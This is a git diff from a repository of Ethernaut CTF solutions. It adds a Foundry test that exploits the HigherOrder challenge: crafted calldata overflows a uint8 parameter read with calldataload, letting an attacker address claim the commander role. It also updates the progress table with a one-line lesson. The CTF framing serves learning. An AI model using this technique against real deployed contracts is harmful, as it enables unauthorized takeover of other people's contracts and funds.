diff --git a/docs/EthernautCTF.md b/docs/EthernautCTF.md index f14218b..be124ad 100644 --- a/docs/EthernautCTF.md +++ b/docs/EthernautCTF.md @@ -33,7 +33,7 @@ | 27 | GoodSamaritan | ❌ | | | | 28 | [GatekeeperThree](../src/EthernautCTF/GatekeeperThree.sol) | ❌ | | | | 29 | [Switch](../src/EthernautCTF/Switch.sol) | ❌ | | | -| 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) | ❌ | | | +| 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) | ✅ | [HigherOrderExploit](../test/EthernautCTF/HigherOrderExploit.t.sol) | Reading function parameters (or any other value) using `calldataload` is dangerous because it will always return a 32-byte value and not the expected type of the variable. | | 31 | [Stake](../src/EthernautCTF/Stake.sol) | ✅ | [StakeExploit](../test/EthernautCTF/StakeExploit.t.sol) | The contract updates the balance of the user before making sure the tokens have been transfered to the contract. | (\*) I opened a [PR](https://github.com/OpenZeppelin/ethernaut/pull/756) to prevent cheating in challenge 16. diff --git a/src/EthernautCTF/HigherOrder.sol b/src/EthernautCTF/HigherOrder.sol index 9748a6c..f7f388e 100644 --- a/src/EthernautCTF/HigherOrder.sol +++ b/src/EthernautCTF/HigherOrder.sol @@ -1,9 +1,8 @@ // SPDX-License-Identifier: MIT -pragma solidity 0.6.12; +pragma solidity ^0.6.0; contract HigherOrder { address public commander; - uint256 public treasury; function registerTreasury(uint8) public { diff --git a/test/EthernautCTF/HigherOrderExploit.t.sol b/test/EthernautCTF/HigherOrderExploit.t.sol new file mode 100644 index 0000000..61df21e --- /dev/null +++ b/test/EthernautCTF/HigherOrderExploit.t.sol @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: GPL-3.0 +pragma solidity ^0.8.0; + +import '@forge-std/Test.sol'; +import '@forge-std/console2.sol'; + +contract HigherOrderExploit is Test { + address deployer = makeAddr('deployer'); + address exploiter = makeAddr('exploiter'); + + function setUp() public {} + + function testExploit() public { + // The HigherOrder contract requires solidity version ^0.6.0 but forge-std only supports >0.6.2. + // Here is a dirty hack to deploy the contract with a greater solidity version. + // Note: it should run in the same function as the exploit, not in the `setUp` function. + vm.startPrank(deployer); + bytes memory bytecode = abi.encodePacked( + vm.getCode('./out/HigherOrder.sol/HigherOrder.json') + ); + address targetAddress; + assembly { + targetAddress := create(0, add(bytecode, 0x20), mload(bytecode)) + } + console2.log('Target contract deployed'); + vm.stopPrank(); + + // Check that the commander role has not been taken. + (bool success, bytes memory returnData) = targetAddress.call( + abi.encodeWithSignature('commander()') + ); + require(success, 'Call failed'); + address commander; + if (returnData.length > 0) { + commander = abi.decode(returnData, (address)); + } + assertEq(commander, address(0x0)); + console2.log('Current commander: %s', commander); + + // In the `registryTreasury` method of the HigherOrder contract, the uint8 argument is read from + // the calldata using `calldataload(4)`. This is a vulnerability because it will read 32 bytes + // which can overflow the type uint8, which can represented simply by one byte. + // The exploits consists of a maliciously crafted calldata that includes the selector + // function and a value, higher than 255. + bytes4 registerTreasurySelector = bytes4( + keccak256('registerTreasury(uint8)') + ); + bytes memory callData = abi.encodePacked( + registerTreasurySelector, // function selector + uint256(0x100) // 32 bytes - the value 256 + ); + console.log('The exploiter crafts a malicious calldata'); + console.logBytes(callData); + (success, ) = targetAddress.call(callData); + require(success, 'Call failed'); + + vm.startPrank(exploiter); + (success, ) = targetAddress.call( + abi.encodeWithSignature('claimLeadership()') + ); + + vm.stopPrank(); + + (success, returnData) = targetAddress.call( + abi.encodeWithSignature('commander()') + ); + require(success, 'Call failed'); + if (returnData.length > 0) { + commander = abi.decode(returnData, (address)); + } + assertEq(commander, exploiter); + console2.log('New commander: %s', commander); + } +}